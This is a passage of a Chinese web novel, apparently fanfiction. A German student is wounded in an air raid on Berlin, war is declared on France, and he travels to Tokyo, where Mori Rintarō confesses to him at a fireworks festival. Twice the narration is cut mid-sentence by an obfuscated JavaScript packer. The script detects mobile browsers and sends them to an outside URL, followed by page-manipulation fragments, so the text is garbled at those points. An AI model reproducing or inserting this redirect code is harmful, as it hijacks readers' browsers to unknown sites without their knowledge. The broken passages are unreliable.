歌手被打断了一瞬,显然他也不知道这是什么造成的,但他下一秒就很有职业素养地继续表演,现场的氛围很快升温,但随后又有螺旋桨的声音在上空响起,一架样式与众不同的飞机出现了,它是军绿色的,发出明显的螺旋桨和向下俯冲的声音。 弗里德里希有种不太好的预感,心里却安慰自己可能只是一个不太精妙的舞台以外,但现实很快打破了他的幻想: 一枚椭圆形的金属制品从飞机落下,发出清脆的落地声。现场沉默了几秒,不知是谁起了头,尖叫着往外跑: “快跑,是炸.弹!” 那是一架轰.炸机,弗里德里希这才意识到事情的严重性,连忙跟着人群一起往外跑,现场的工作人员也立刻开始疏散人群,但已经来不及了,在爆.炸的前一秒,只有不到三分之一的观众离开了爆.炸范围,弗里德里希在前排VIP座位,更是垫后的那一批。 那枚炸.弹躺在离他不远的舞台边缘,而他根本来不及多跑两步,它爆.炸了。 他的第一反应不是疼,是声音。他不是变聋了,而是声音太大,大到超出了正常声音的范畴,大到他的耳朵已经无法正常接收声音,那已经不是没有形体的声音了,而是另一种有形状的物理层面的冲击,好像被一堵墙砸中了耳朵,又好像耳朵被割了下来,恍惚间去摸耳朵的位置,手上就沾上了湿润黏腻的某种红色液体。 那应该是一瞬间——至多不超过两秒钟的事情,却足以让他将自己的心感受得仔细,突然袭击的无助,无处可逃的恐惧,对活着的渴望…… 他第一次意识到自身有多渺小,一颗不足10千克的炸.弹就足以至他于死地。一切发生得太快,太匆忙,所以他没有时间尖叫,也没有时间哭喊,他的大脑还在活跃,但已经没有拖动沉重脚步的余力。 他第一次知道原来爆炸不光有庞大到足以把人耳朵震聋的巨大声波,还有灼热的气浪,那气浪将他掀飞十几米,他在此期间完全无法摆动手脚自救,被掀飞之后,他短暂地产生过一种从高空落地的失重感,然后就重重地摔在了地上。 他的后脑勺重重地磕碰在了地上,直接导致他昏死过去。 …… 等弗里德里希醒来,已经是好几天之后的事了。他被送到了医院,护士很快发现了他的苏醒,过来查看他的情况。 护士似乎在询问他什么,嘴巴一张一合的,但弗里德里希的耳朵好像失了灵,听不到对方的声音。现在只护士叫了医生过来,医生也试探性地说了什么,他同样听不到,医生就脸色沉重地在纸上写了什么,展示给他看: 【爆炸声导致你暂时失聪了,不过不必担心,有康复的可能】 弗里德里希茫然地看着对方,半天才想起了之前的事:他去看了MJ的演唱会,结果意外遇到了空袭。 他想起了袭击现场的部分细节,那是最令他不寒而栗的,爆炸产生的巨大声浪他无法回忆,一回忆就会耳朵疼,他通过破碎的言语告诉医生他耳朵疼,医生告诉他: 【这是幻痛。】 “但是我真的疼,我耳朵疼……” 医生同情地看着他,那种目光其实并不尖锐,但却刺痛了他。他立刻意识到了自己现在的狼狈,他这才发现自己的头有点凉飕飕的,他的头发呢?他想用手去摸,但是抬不起手,想忍住疼痛的眼泪,也无法控制…… 他简直能想象到自己的样子有多丑陋,有多不体面,这种可怕的想象足以让一个在乎他人看法和容貌的人陷入情绪决堤。 医生在纸上写: 【很抱歉,因为手术,我们不得不剃掉了你的头发。】 但弗里德里希不肯看,他深深地被刺激到了,拼命抬起手捂住纱布包住的耳朵,并尖叫着:“走开,走开!不要看我!” “…………” 弗里德里希伤得很重,这种激动的样子很可能会导致更糟糕的事,医生都在考虑冒着风险给他注射镇定剂了,弗里德里希却突然体力耗尽昏迷了过去。 ———— 昏迷过后,弗里德里希睡了一天一夜,中间都是靠输液维持体征的。 再次醒来时,他感觉眼皮沉甸甸的,好不容易才睁开眼睛,第一眼看到的是医院雪白的天花板,感觉到有谁紧握着他的手,他艰难地侧过头一看,就看见了一个头发花白的女人的脑袋,是妈妈,她已经在这里陪床快一天了,刚刚实在撑不住才打了个盹。 他仍然听不到声音,仿佛被隔离在一个孤立的空间里。 他住的是单人病房,房间里有窗户,窗户边上站着一个不算高大的花白头发的男人正在打电话,压低声音,愤怒地说: “他们凭什么在柏林投放炸.弹?!我儿子差点死了!” …… 弗里德里希茫然地躺了几秒,突然耳朵幻痛了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615579|206062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,空荡荡的大脑立刻又被恐慌填满。头顶依旧空荡荡的,那种被人目睹狼狈模样的恐慌又涌了上来,但与上次不同的是,现在病房里只有父母。 “妈,妈妈,我耳朵好痛,头也好痛……”弗里德里希痛哭流涕地说,“爆.炸让我的耳朵听不见了,我的头发也没有了,我,我好丑……” ———— 另一边,以浮士德为首的陆军第一军团,正在进行一项关乎是否与法国开战的重大投票: 有资格参与投票者一共60人,其中,除浮士德以外的人都至多投一票,而浮士德作为最高长官,他的一票相当于5票。 因为不久前才结束了一场战争,部分军官不想再战,认为可以接受赔偿,投了反对票,这是前者;也有一部分人认为国家尊严不可侵犯,不能接受这施舍般的赔偿,这是后者。 双方人数相仿,都有其拥护者,票数几乎不相上下。 经过一番思忖,浮士德上将投下了关键性的一票,他没有说为什么同意开战,只是沉默地认同了后者,这也符合他往日的作风,这位铁血上将从不会在应该硬气的时候服软。 他态度已决,无人质疑他的决定,而民间的反应也出奇的一致,空袭受害者的家属们愤怒地扬起旗帜,在街上游行,许多不相关的人也在保护国家安全的思潮推动下选择加入其中,声势越来越浩大,直到某一天,官媒宣布将会在柏林最大的广场进行一场向全国各地转播的重大演讲。 那一天,有空的人都坐在电视机前面,收看黑白色的实况转播: 演说者是谁已经不重要,重要的是,他现在代表的是人民和政.府的意志,有数万万人成为他的后盾。 演说致辞相当正式,这里截取一小段: 【德意志联邦共和国总统对全国及世界的战争演讲:】 【时间:公元1989年,奥林匹克体育场遭遇空袭后第八天】 【地点:柏林共和广场】 【我的同胞们,世界的公民们:】 【就在八天前的下午,当我们的人民还在享受愉快的下午茶,当和平的钟声刚刚在教堂敲响,我们的首都——柏林,遭到了法兰西共和国毫无征兆、泯灭人性的空中袭击。】 【此次袭击中,我们的损失如下:有将近4.5万人因此而受伤,更有一千余人因抢救无效而殒命;具有重大意义的奥林匹克体育场被炸成了废墟,如今只剩断壁残垣,而这只是一颗不到5千克的炮.弹引起的惨案!我们无从得知法兰西共和国是何时研究出了此种威力巨大的热武器,又为何如此残忍地将其投掷在万人齐聚的场所,但一场懦夫的偷袭不会击垮我们的意志!】 【……】 【自此刻起,德意志共和国与法兰西共和国及其一切军事、政.治支持者,进入全面的战争状态!】 【……】 【我们将战斗到底,并不接受任何除无条件投降之外的任何停战条件。】 【为了死难者,】 【为了联邦首都柏林,】 【为了我们的民族与国家!】 【愿上帝惩罚罪恶的侵略者,愿上帝保佑我们正义的反击!】 【人民万岁!】 【统一、正义和自由万岁!】* 8. 一次旅行 弗里德里希在德国生活了快二十年,在他人生的前半段,他只从报纸或小道消息中得知战争,他听说法国某边陲小镇遭遇炮火袭击,也听说奥地利某处由于某种不知名奇特武器的影响,那里的山川、河流以及活物都被“熔化”了,后来不久,他听说了“相机”的事,据说那是一种可以令拍摄事物“熔化”,或者说消失的新型武器。 在上辈子的记忆里,好像还真的存在“相机”这么一回事,不过间隔得太久,他确确实实记不太清了。 他总觉得战争是离他很远的事,直到一场空袭在他身边发生,他隐约记得当时很吓人,但又想不起来具体的细节,也许不记得反而是好事,至少他不会因此而困扰,生活还能照常进行下去。 “该去看医生了。”妈妈推门进来。 “好的。”弗里德里希回答。 他坐着轮椅,妈妈在后面慢慢推着他,去往一间特殊的诊室。那里好像是因空袭受到精神创伤的病人专属的诊室,弗里德里希每隔两天就要去一次,那里的医生一直都是同一位男士,没有更换过。 “早上好。”弗里德里希礼貌地打了声招呼,妈妈安静地离开了诊室,给他和医生留下充足的空间。 “噢,弗里德里希,你看起来气色真不错,比前两天好多了。”医生笑眯眯地说。 医生照例询问,弗里德里希一一回答。当他问弗里德里希有没有什么困扰的时候,弗里德里希说:“我发现有一段记忆变得很模糊,虽然对生活没什么影响,但我总是忍不住想到……” 医生说:“有些痛苦的事情,大脑会帮你模糊掉它。” “是吗?”弗里德里希不以为然,“我觉得那应该谈不上痛苦,只是有点吓人罢了,就像恐怖片那种程度的吓人。如果我真的想起来了,大概没几天也会抛之脑后。” 心理医生始终保持着温和的笑容,无论弗里德里希说什么,他都没有开口反驳,偶尔还会出言附和,营造出了一种让人舒适的聊天氛围,弗里德里希不觉得自己是在治病,就像是请了个略微昂贵一些的陪聊。 很快,例行诊疗结束了。 空袭事件之后,弗里德里希养了很长一段时间的伤,他听力受损,多处软骨受伤,右手食指和中指粉碎性骨折,右腿小腿骨折,好在没有对行走产生影响,医生说等恢复好了跟以前没有区别。 唯一担心的是他的听力,他目前只恢复了一丁点听力,能隐约听到一些动静,但若要与人正常对话还是很依赖助听器。 他抓了抓头发,不知为何有种违和感,余光看见金色卷翘的发丝,忍不住扯了一下,确认是长在头皮上的真发,可就是感觉怪怪的,他总觉得自己好像忘了点什么,想向身边的人寻求答案,可不论他问谁,对方都会含糊其辞,就是不告诉他真相。 养伤期间,弗里德里希还收到了一封意外的信,待在海德堡的穆勒教授久久没收到他的来信,便主动来了信,问他近况如何。 他不想教授担心,于是便没有说自己受伤的事: 【亲爱的穆勒教授:】 【我过得不错,最近柏林的治安有了很大的升级,每天都能看到警员们兢兢业业的巡逻。】 【……】 他的手伤未愈,因此只写了短短几行,心想教授应该不会介意,于是就这么寄出去了。 而教授的回信却很不寻常: 【弗里德里希:】 【我暂时不管你是不是本人。】 【假如你是本人,那你还好吗?是否有人以“泄露军机罪”逮捕你?最近德国有一大批无辜的人因此被逮捕,在监狱里受尽折磨,我担心你也在此列,如果你真的遇到了这种情况,不要回信,我会托人问清楚的。】 【假如你不是本人,那你听好了:我是费利克斯·贝内特·穆勒,海德堡大学机械与动力学的终身教授和博士生导师,F.M步枪的发明者,德意志共和国陆军第三军团的穆勒上校是我的兄弟,而你们非法拘押的弗里德里希·歌德是我的学生,我有权询问他的真实去向,并为他争取继续接受教育的权利。】 【弗里德里希·格奥尔格·冯·歌德从未触犯法律,也不曾出卖军机,我以自身名誉担保。】 弗里德里希收到信的时候,十分哭笑不得,于是又去了封信,说自己没事,为了让对方相信,他还特地换了身整洁的衣服,和父母拍了张合照寄给教授,毕竟总不能连带着父母一起被捕,再者,他们衣着光鲜,不像是锒铛入狱的样子。 没多久,教授的信: 【弗里德里希:】 【你或许会觉得奇怪,我为什么突然怀疑你被捕了,其实是因为我一个朋友的学生近几天也锒铛入狱了,而他什么出格的事都没做,我受人之托将他保释出来,不免说了几句话,他一边感谢我,一边说——柏林有个叫弗里德里希的被捕了!】 【我吓了一跳,马上给你写了信,你倒是回了信,但那信怎么看怎么奇怪,你以前连感谢信都要写个好几页,扯到火车座位太硬,火车没有窗帘,太阳照在脸上睡不着,反正就是要写很多字,怎么现在,这么久没跟我来信,就写了不到一页纸?】 【太反常了,我还以为你被扣押了,赶紧写了保释信,但寄出去就发现考虑不周,我应该给军部写信,你要是真被扣押了,写一万封信给你也没用。】 【真是可恶,一定是前两天的红茶过期了,我写信时腹痛难忍,好不容易忍着腹痛写好给军部的信,还寄了出去,结果你又来信说你没有被捕——你还不如被逮捕了,省得我又得跑一趟邮局,把之前的信拦截回来!】 【我等会就要去问那个跟我说弗里德里希被捕的家伙,我倒要问问他,被捕的到底是哪个弗里德里希!】 【……】 【有事寄信,邮件寄到老邮箱。】 弗里德里希读着信,嘴角忍不住上扬,原本郁闷的心情也被驱散了不少。 就在这时,忽然有人拍了一下他肩膀,他吓了一跳,偏过头一看,原来是妈妈。 他的听力依旧受损,即使对方在近在咫尺的地方叫他,他也基本听不见。 “怎么了,妈妈?”弗里德里希问。 妈妈在纸上写:【有一封你的信】,还露出一个揶揄的笑,让弗里德里希有些莫名其妙。 弗里德里希接过信,信封上写着某人的签名:Mori Rintarō. 【亲爱的弗里德里希:】 【我今天去了一家咖啡厅,点了一杯和上次一样的咖啡,味道也是一模一样,然后我就想起了你,好怀念在德国的生活。】 【我最近好忙好忙,需要做特别多的事情,天气也格外热,如果天气不是这样热,我肯定会忍不住邀请你来东京玩,那些平时只觉得一般好玩的东西,有了你就会变得不一般的好玩。】 【今天晚上有花火大会,你知道什么是花火大会吗?那是日本的一种传统活动,每到夏天就会冒出来很多花火大会,主要是看烟花,逛夜市,是超有氛围的活动哦——咳咳,没有诱惑你来东京玩的意思。】 【……】 喂喂,这还不叫诱惑他去东京玩? 弗里德里希腹诽着,这是Mori Rintarō这个月寄给他的第4封信了,之前的信还好好地保存在抽屉里呢。 说实话,他还真有点想去东京。他上辈子是个小镇做题家,苦闷刷题时经常幻想长大之后要去哪里旅游,还写了个列表,日本东京就在其一,不过直到死掉,列表都没有实现的机会,这辈子倒是有机会去东京,但是似乎不太安全。 他总觉得有风险,因为东京在打仗,但在老一辈的父母看来,他的想法有点过于畏手畏脚了。 不知不觉间,他嘀咕出了声:“太危险了吧,日本。” “你的日本女朋友寄来的信?”妈妈表情更揶揄了,“看来她真的很喜欢你,这是这个月的第几封信了?” “哪有?”弗里德里希连忙否认,“他是男的——生理和心理双重意义上的。” “哦?”妈妈不信,“那就是男朋友。” 弗里德里希连忙否认:“没有的事!” 见儿子急眼了,妈妈也没继续刺激他,说:“你爸爸认识一位常驻东京大使馆的外交官,也许你还记得他,你小的时候,我们全家一起去了他家里拍照,说实话他家的照相设备真不错,只可惜停产了。” “你是说本茨叔叔?”弗里德里希立刻想起来了。他还记得那个叔叔,对方当时还不是外交官,跟他爸爸一样从事法学类的工作。 “是的。”妈妈说,“他5年前去了日本,据说是被上司针对派去的,他经常给上司来信希望调遣回国,但过了这么久也没有调回来,条件所限,也没办法和家里人常常联系,寄信就是极限了——说真的,跨国通讯不便宜。” 妈妈还问:“你要去日本那边玩吗?你要是去,可以顺便帮他带一些东西,比如本茨阿姨做的曲奇。” 弗里德里希有些犹豫:“那里没有再打仗了吗?” “他们怎么打仗都跟我们没有关系。”妈妈说。 “但是——他们在打仗诶?” “……”妈妈似乎打心底里就觉得那边没有危险,还开了个玩笑,“如果他们把你抓到战俘营里去,你就告诉他们你爸爸的名字。” “他们哪里会认识我爸爸!”弗里德里希说,“我爸爸只是个普通法学家。” “是的,参与了德国宪法修订的“普通”法学家。”妈妈意味深长地说。 弗里德里希一脸震惊:为什么他现在才知道这回事? 他追问,妈妈却不再多说。这个惊人的消息也让他对东京的印象发生了改变,前世的记忆在这时猛的涌现,他想起了文野里日本的低下国际地位,他的户籍在德国,日本没人有权利逮捕或拘禁他,事实上,如果有人要对他不利,他往德国大使馆一跑,就没人能奈何他。 这么一想,弗里德里希将东京列入了待定旅游地之一,他本来还有点想去传说中的雪国俄罗斯,还想去格陵兰岛看极光,但是这两个地方目前都禁止德国公民入境——这该死的战争。 弗里德里希最终还是决定去东京——顶着妈妈揶揄的目光。 但天知道,他跟Mori Rintarō之间是清白的,就算他是双性恋,就算Mori Rintarō符合他的恋爱标准,他也不会随便和朋友发展成那种关系——那太浪.荡了! 他并不希望别人这么评价他:“他浪.荡得像个法国佬。” 那简直是最糟糕的评价,要知道如今法国的风评已经跌至谷底,是个人都要骂一句法国佬不要脸搞偷袭,连条狗都要往法国国旗上吐口口水。 说起狗,弗里德里希住院后,他有点担心那条公寓附近的流浪狗,特意让爸爸帮忙看一下它怎样了,爸爸说给了邻居一些钱,让邻居暂时帮忙喂养,他还很骄傲地说签了字据,让弗里德里希感慨:不愧是遵法懂法的法学家。 弗里德里希原本计划等骨折好之后去东京玩,他以为这至少需要三个月,没想到只过了一个多月医生就告诉他可以出院了,不过后面一段时间出门还是要拄拐杖,还要注意不要剧烈运动。 出院后没过几天,他就坐上了去往日本的飞机。他本来想坐船,因为飞机票太贵,但被父母严厉批评了:“你省的这点钱可能会让你上吐下泻,治病要花的钱反而更贵。” 弗里德里希羞愧点头,接过父母订好的头等舱机票。 父母还继续教育:“而且船上的人鱼龙混杂,统舱里多的是染病的劳工,稍不注意就要被传染——你记住除非身上实在掏不出钱,不然都不要坐船。” 弗里德里希不知道父母为何对船有这么大的意见,反正不管对方说什么,他都一律点头。 …… 这个年代的飞机票特别昂贵,经济舱就要四五千马克,而商务舱的价格是经济舱的三倍,接近一万五马克,头等舱就更别提了,整整三万马克! 以弗里德里希自己的经济情况是完全买不起头等舱机票的,好在他有一对富有的父母,他们直接掏钱帮他搞定了大部分麻烦——他才知道他们家这么有钱,他一直以为他们只是中产阶级! …… 头等舱的待遇就是不一样,弗里德里希可算是体验到了,他坐着轮椅上飞机,还有工作人员帮他拎行李,轮椅也有人帮忙推,搞得他有些受宠若惊,下一刻想到了父母为此花了多少钱,又心安理得了。 这一趟航班,头等舱总共才四个,因为头等舱不是一个座位,乘客一个人就能享受独处的套房,还有服务员一对一服务,几乎随叫随到,除此之外,乘客还能随时点菜,什么深海大龙虾,鱼子酱,想要就有。 不知道为什么,弗里德里希没什么胃口,随便吃了点意面就休息了。不知过了多久,服务员轻柔地叫他起床: “东京到了。” 弗里德里希猛的惊醒,擦了擦眼睛,含糊地说:“噢,麻烦你。” 跟上飞机时一样,下来的时候,同班人马帮他搬行李、推轮椅,正当弗里德里希烦恼之后怎么独自去酒店时,有人叫住了他,在纸上写歪歪扭扭的德语句子告诉他,他是父母找的当地导游,还出示了自己的身份证和导游证,热情地推着弗里德里希走。 弗里德里希倒也没怀疑对方的身份,他来之前就听法学博士的父亲说过,日本有很严格的针对外国人的保护法律,他在这里比本地人还安全。 弗里德里希很快入住了预订的酒店,把助听器连上手机翻译,就能和本地人无障碍沟通。 他决定给Mori Rintarō一个惊喜,暂时不告诉对方他来了,还不忘给对方发了很短的邮件: 【亲爱的Mori Rintarō:】 【我很早就听说过花火大会,真想去看看。】 【顺便,你能拍一张花火大会现场的照片吗?直接发到我邮箱就好。】 【——弗里德里希】 弗里德里希查了一下花火大会的举办日期,发现最近的就在今晚。Mori Rintarō上次提到的花火大会已经是三天前的事了,因为他过了两天才出发去东京,又坐了挺久飞机。 对方很快回了邮件,没有遵照之前的格式: 【很久以前的照片可以吗?我小时候去过一次,那时候也拍了照。】 弗里德里希半开玩笑地说: 【不可以,我要新鲜的照片。】 对方幽默感十足: 【还有别的要求吗?】 弗里德里希: 【要在那棵很有名的挂了铃铛和绸带的大树下面。】 对方: 【那好吧,为了你的愿望,我会冒着难为情的风险独自一人去参加情侣超超多的花火大会的。】 弗里德里希忍俊不禁: 【加油!】 对方暂时没有回复,不过等到晚上花火大会的时间时,对方拍了一张晚上路灯的照片,表示已经出发了。 ———— 森鸥外还是第一次独自去花火大会,他还是个小孩子的时候也曾跟着父母看过烟花,后来去了德国,已经快十年没见过故乡的烟花了。 话虽如此,他并不十分怀念记忆中绚烂的烟花,毕竟是死物,只有美丽一个优点,还美丽得不够完全。 比起烟火,他见过更美丽的事物,那是一个鲜活的人,对方塑造了他少年时期的审美和性.癖,可惜的是,对方不在东京,而是在遥远的柏林,如果他要坐船去柏林,则需要在船上颠簸一个多月的时间。 对方让他拍一张花火大会的照片,他本可以随便找张照片搪塞过去,因为真做或假做并没有实际上的区别,他是真心或假意,对方其实分辨不出来,既然如此,他为什么要那么认真呢? 他这么想着,明知敷衍与认真得到的结果大概是相同的,最终还是没有像老奸巨猾的老油条一样钻空子,这时候的他还很年轻,没经历过多少挫折和磨砺,人格底色是真心和诚意的颜色。 他找了身合适的衣服,决定信守诺言亲自去看花火大会。 他知道对方说的那棵挂满铃铛和绸带的大树,许多情侣都会在那里许愿,很有点暗许终身的味道,不过对方显然不知道这个含义,只以为是个普通的打卡点,催着他去那里拍照。 那好吧,还能怎么样呢?他无奈地来到了那棵大树的下面,考虑着是摆好相机把自己拍进去,还是举着相机单独拍下树的样子? 好在这时人不多,人们都跑到视野开阔的地方等待即将开始的烟花了,他有时间慢慢考虑怎么拍,还有拍照的机位。 他举着相机,找不到一个很好的机位,要么太过昏暗,要么平平无奇,怎么都不满意。 忽然,他注意到有人坐在路边的交椅上,对方侧对着他,穿着浅蓝色的浴衣,旁边放着一张狐狸面具。对方上半身被树梢投下的阴影笼罩着,不靠近看,只知道对方的头发应该是浅色的。 对方似乎没有注意到他,昂起头看垂下来的一个掉漆的铃铛。 他看了一眼,心里就升起一股异样的熟悉之感,忍不住又看了一眼,结果对方却突然看了过来,他一下子看见了对方的正脸。 “……!” 这时烟花突然开始了,只听沉闷的一声,夜幕像是被金线撕开了一条缝,下一秒才发现那不是缝隙,而是从地面升腾而起的烟花,它直直地往天上升,到最高的那一点绽开,无数光点从中心绽开,如菊花细长花瓣般向四周优雅舒展,勾勒菊花的形状。 烟花向周围迸射出明亮的光,照亮了那人的头发,不光是头发,好像就连睫毛都在发光。 “喂!”弗里德里希这时冲他招了招手,“快过来!” 那是一道不分昼夜在他脑子里欢腾,害他不得安生的影子,他总在各种时刻想起对方,不论是否合时宜,当那个人出现在脑海中时,多么要紧的事也搁下了,他会忍不住去想,他在柏林过得怎样?他今天吃了什么?他的心情好吗? 暗恋真是一件愁人的事。当一份恋情难以诉之于口的时候,就更加让人烦恼了。 徒劳的单相思,不能被当事人所知的酸楚恋情,还跟人家隔着一个亚洲的距离,除了写写信刷存在感,什么也干不了——真是彻底的败犬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615580|206062||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。 “你愣着干嘛?”对方还是和上次见面一样光彩照人,多么漂亮,多么美丽,一切形容美人的词汇都可以用在他身上。 “没想到我会在这里吧?惊呆了吗?”对方说,“快来,扶我一下——” 他下意识地伸手,对方的重量就压在了他身上,然后,一双胳膊搂住了他的脖子,他浑身紧绷,虽然面上不显,实际上却使出了全身力气,差点将对方扛了起来。 “等等,放我下来!”对方的下巴磕在他的肩胛骨上,扯了一下他的头发,“不是这种扶——” 他把对方放了下来,或许是因为太惊喜,不自觉就说出了一句不太符合普通朋友身份的话:“那是要抱吗?” “你说什么呢?”对方愣了一下,立刻红了脸,抱着胳膊质问道,“你什么意思?” 对方看起来不像单纯的生气,像是羞恼。 他忽然意识到,是时候了,如果这时候不说,也许一辈子都没有机会了。 抓住月亮的机会近在咫尺,而机会仅此一次,他没有试错的资本。 日本人的内敛让森鸥外没有立刻吐露心声。他花了几秒钟时间,仔仔细细地思考自己的心意,再用短短一句话将其概括出来: 他说:“今晚月色真美。” 弗里德里希沉默了几秒,扭头就走,嫌弃地说:“……好土!” 他立刻破功了,马上跟了上去:“哪里土了?这明明是最新潮的……” “这简直可以竞选世界上最没新意的告白方式了。”弗里德里希话还没经过脑子就说了出来。 这话一落,气氛顿时安静下来了。弗里德里希也一愣,没想到自己会直接说出来,两人对视一瞬,心思各异,然后立刻移开了视线。 对视那一瞬,弗里德里希看到了一双因为不确定对方心意而显得不自信的紫色眼眸,而森鸥外看到的则是一双比世上最深的湖泊还要蓝的眼睛。 森鸥外年少时就远渡重洋来到异国他乡求学,在人生地不熟的法兰克福中学,他没有朋友,只能一个人消化苦闷的留学生活。忽然,有人像一束光出现在了他的生命中,一次钢琴社团,他遇见了那个如精灵般美丽、友善的少年。 对方或许早就忘了初识,但他却记得,那时,他因为运气不好被抽签抽到了,需要到台上表演一首曲子,而他还有个搭档,对方是常驻嘉宾,钢琴老师的得意门生,经常被叫来和学弟学妹们一起上课——据说他就是钢琴社团考核严格仍受欢迎的原因,大家都想和他相处。 那时他并不擅长钢琴,参加社团只是因为规定。他们需要一起合奏一首不算太难的曲子,但森鸥外很不巧压根没听过,他把全部时间都花在正经的学业上,这种艺术类的东西他完全没有兴趣,只是按照规定随便选了一个社团,然后全程浑水摸鱼。 好在他的搭档是个钢琴天才,对方发现他不会,就主动包揽了最难的部分,弹钢琴的样子像极了一位王子,纤长的手指在黑白琴键上跃动,悦耳又赏心悦目,中间停顿的间奏期间,对方似乎注意到他在走神,还轻轻地在他耳边提醒他,快要到合奏的部分了。 两个人弹一架钢琴,这应该是叫做四手联弹? 但让一个对钢琴没什么基础的人马上学会四手联弹,还是太天方夜谭了。绕是对方趁着课间耐心地教他,他自己也稍微用了心,正式上场时,还是难免出了问题。 他不记得自己当时弹错了哪个音了,总之,错误音阶出现的那一刻,大家都看向了他们,应该是很明显的错误。他知道是自己弹错了,一言不发,心知自己多半是要挨罚——他们的钢琴老师十分严厉,上次有人出了错,被扣了50分,这是算在期末考核里的成绩。 但对方却面不改色地扯了个谎:“噢,抱歉,我昨天帮我妈妈修剪草坪,以至于划伤了手,不小心弹错了。” 对方伸出手,还真有道泛白的口子,像是被什么东西划伤的。 绕是这么正当的失误理由,钢琴老师还是把弗里德里希单独训了一顿,还扣了弗里德里希50分,虽然一般考试采取6分制,考生的得分在1-6之间,得分越低越好,最好1分,小于5才算及格,但钢琴考核却采用了另一种:满分100,60及格,要是还没开考就扣了50分,那么即使考核一点错也不出,也注定是要不及格了。 弗里德里希对此倒是毫不在乎,还和森鸥外说:“你说巧不巧,我前阵子参加了一个钢琴比赛,还拿了一个奖,按照规定,我有额外加分,刚好抵消了扣掉的分——没想到吧?” 他似乎并不觉得挨罚是什么很难为情的事,也不认为顶锅是很值得赞赏的高尚行为,他就是自然而然地朝一个素不相识的人伸出了援手,不需要任何理由,也不需要任何报酬。 多年之后,弗里德里希甚至都不记得自己曾帮过别人了,森鸥外却记得。那并不是什么大事,却足以在森鸥外无聊且孤僻的少年时代留下浓墨重彩的一笔,学生的他没有太多可想的事,所以经常想起弗里德里希,想起他的家世,他的性格,他的爱好,还有——他的脸。 ……学长太过美丽,实在无法拒绝。 …… 扯远了。 “这简直可以竞选世界上最没新意的告白方式了。”弗里德里希话还没经过脑子就说了出来。 空气瞬间安静了,但并不是因为尴尬。 弗里德里希懊恼,懊恼着怎么突然说出来了,这样会不会显得有点奇怪? 而森鸥外想得更多,他原本不确定弗里德里希的心意,但后者好像很清楚他的,他不觉得冒犯,反而有种雀跃的快乐—— 因为他现在能确定对方的意思了。 你若知晓我的心意还不远离,那一定是对我抱有同样的情感。 良久的沉默后,弗里德里希终于受够了这样的气氛。他顾不得腿脚不便,直接拔腿就走,想要逃离这样的氛围。他走得很快,但后面的人还是跟上了。 “我喜欢你。” 弗里德里希回头,不知是羞还是恼,看着对方:“你说什么?” 森鸥外被对方的眼神看得莫名激动,完全将其他的所有事情都抛之脑后了,不由略显大声地说: “我喜欢你!全世界有几十亿个人,但我只喜欢你!” 如果森鸥外能活到80岁,这或许会是他最大的黑历史。但现在,只有24岁的青春版的他只为弗里德里希听到这话后的通红脸颊而高兴——他的告白好像要成功了。 周围的路人都听到了,纷纷朝他们投来视线。 这年轻气盛的表白场面让路人不禁捂嘴浅笑,以为浪漫的花火大会又要促成一对小情侣,还有抱着孩子的妇人撮合说:“答应他吧,女士,看在他这么会说话的份上。” 他们把弗里德里希认成了女性,就因为他穿了一件水红色的浴衣,长得秀气,夜色还遮挡了他的性征! 而弗里德里希快要被这糟糕的情话气得当场飞升了。他脸红得要命,说不清是羞耻还是恼怒,扯着森鸥外的袖子,一言不发,闷着头往前走,但其实自己也不知道前方通向哪里,他不停往前走,连尚未完全痊愈的腿伤都感受不到了。 忽然,隐没于夜色的台阶趁他不注意狠狠绊了他一下,他一下子失去平衡,眼看着就要摔倒,有人反应很快,立刻换位到了下面,给他充当气垫,一点也没摔伤。 那人似乎也摔的疼了,只“嘶”了一声,把剩下的痛呼咽了回去。 “……你没事吧?”弗里德里希别扭地问。 “……别担心,我很好。”对方说,脸色却是掩盖不住的苍白,疼得脸都白了。 弗里德里希赶紧把他扶起来,两个人一起去看了医生。一通流程下来,两个人坐在走廊的长椅上,沉默的气氛一直到分别前一刻才被打破。 “我们是什么关系?”临走前,森鸥外突然问。 “……”弗里德里希说,“你说呢?” 众所周知,率先表明心意的人会陷入被动,所以他绝对不做率先表态的那个人。 森鸥外却没考虑那么多,他状似认真地思考了一会儿,说:“我希望我们是能一起走过一生的人,但如果你希望我们只相伴携手一小段人生,我也愿意接受。” 弗里德里希有些被打动了,他其实是一个很传统的人,比起短时间的寻欢作乐,他更愿意跟一个喜欢的人过一辈子。 他说:“你过来一下。” 就这一句话,恋爱中的男人心里就能闪过无数想法:他要拒绝我吗?旁边还有其他人,他或许会因为顾及他人眼光,附耳轻声拒绝我…… 森鸥外附耳过去,弗里德里希也做出一副要说悄悄话的样子,然后,他突然回答了森鸥外之前的那个问题——关于他们是什么关系。 “情侣关系。” 他没有傻站着等森鸥外反应过来,一把将什么东西扣在了森鸥外脸上,然后飞快地溜走了,还不忘说: “不许追!” 森鸥外哑然失笑,取下面具,发现面具内侧有一张纸条,写着潦草的地址和时间——他意识到那将是一场约会的时间地点,而他已经提前开始期待了。 9. 热恋中 这绝对是弗里德里希近一年过的最刺激曲折的一天,不对,应该是近三年。 就在确定关系后,他又想起了妈妈揶揄的话:“你的日本女朋友寄来的信?” 他当时矢口否认,但现在情况又不一样了,虽然不是女朋友,是男朋友。 